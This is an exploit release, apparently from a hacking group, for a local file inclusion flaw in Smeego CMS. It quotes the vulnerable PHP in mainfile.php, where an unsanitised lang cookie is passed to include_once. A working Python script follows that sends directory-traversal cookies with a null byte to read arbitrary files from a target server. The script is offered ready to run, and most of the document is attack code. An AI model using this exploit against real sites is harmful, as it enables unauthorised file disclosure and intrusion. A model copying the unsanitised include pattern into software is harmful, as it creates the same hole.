Smeego CMS vulnerability

[0in.email@xxxxxxxxx]

# Smeego CMS Local File Include Exploit
#                 by
# 0in from Dark-Coders Programming & Security Group
# >>>>>>>> http://dark-coders.4rh.eu <<<<<<<<<<<<<<
#--------------------------------------------------------
# Contact: 0in(dot)email[at]gmail(dot)com
#--------------------------------------------------------
# Greetings to: Die_Angel,suN8Hclf,m4r1usz,djlinux,doctor
#--------------------------------------------------------
# Description:
# Smeego is a Content Management System or Portal
# System written in PHP and designed to be
# easy to install and use. Smeego has a mature code 
# and comes with cool modules and themes 
# for you to start your own dynamic and database 
# driven website. Bla bla Bla [...]
# -------------------------------------------------------
# Script home: http://smeego.com
# -------------------------------------------------------
# Vuln:
#   >>>>>> File: mainfile.php <<<<<<<
#if ($display_errors == 1) {  // We don't se any errors ;(
#  @ini_set('display_errors', 1);
#} else {
#  @ini_set('display_errors', 0);
#}
#
#if (isset($newlang)) {
#
#       if (file_exists("language/lang-".$newlang.".php")) {
#                setcookie("lang",$newlang,time()+31536000);
#                include_once("language/lang-".$newlang.".php");
#                $currentlang = $newlang;
#        } else {
#                setcookie("lang",$language,time()+31536000);
#                include_once("language/lang-".$language.".php");
#                $currentlang = $language;
#        }
#} elseif (isset($lang)) {
#
#        include_once("language/lang-".$lang.".php");
#        $currentlang = $lang;
#} else {
#        setcookie("lang",$language,time()+31536000);
#        include_once("language/lang-".$language.".php");
#        $currentlang = $language;
#}
#      >>>>>> End <<<<<<<
# So.. We can send Cookie: lang=[lfi]

# -------------------------------------------------------

# Simple Python Exploit:

#!/usr/bin/python
import sys
import time
import httplib
print '====================================================='
print '        Smeego CMS Local File INclude Exploit         '
print '                      by                             '
print ' 0in from Dark-Coders Programming & Security Group!  '
print '             http://dark-coders.4rh.eu               '
print '====================================================='
try:
        target=sys.argv[1]
        path=sys.argv[2]
        file=sys.argv[3]
except Exception:
        print '\nUse: %s [target] [path] [file]' % sys.argv[0]
        quit()
i=0
lfi='../'
target+=":80"
special="%00"
file+=special
for i in range(9):
        lfi+="../"
        print '---------------------------------------------------------'
        mysock=httplib.HTTPConnection(target)
        mysock=httplib.HTTPConnection(target)
        mysock.putrequest("GET",path)
        mysock.putheader("User-Agent","Billy Explorer v666")
        mysock.putheader('Accept', 'text/html')
        mysock.putheader('Accept-Language',' en-us,en;q=0.5')
        mysock.putheader('Cookie','lang=%s%s' % (lfi,file))
        mysock.endheaders()
        reply=mysock.getresponse()
        print reply.read()
        time.sleep(2)
        mysock.close()
        print '----------------------------------------------------------'

#EOFF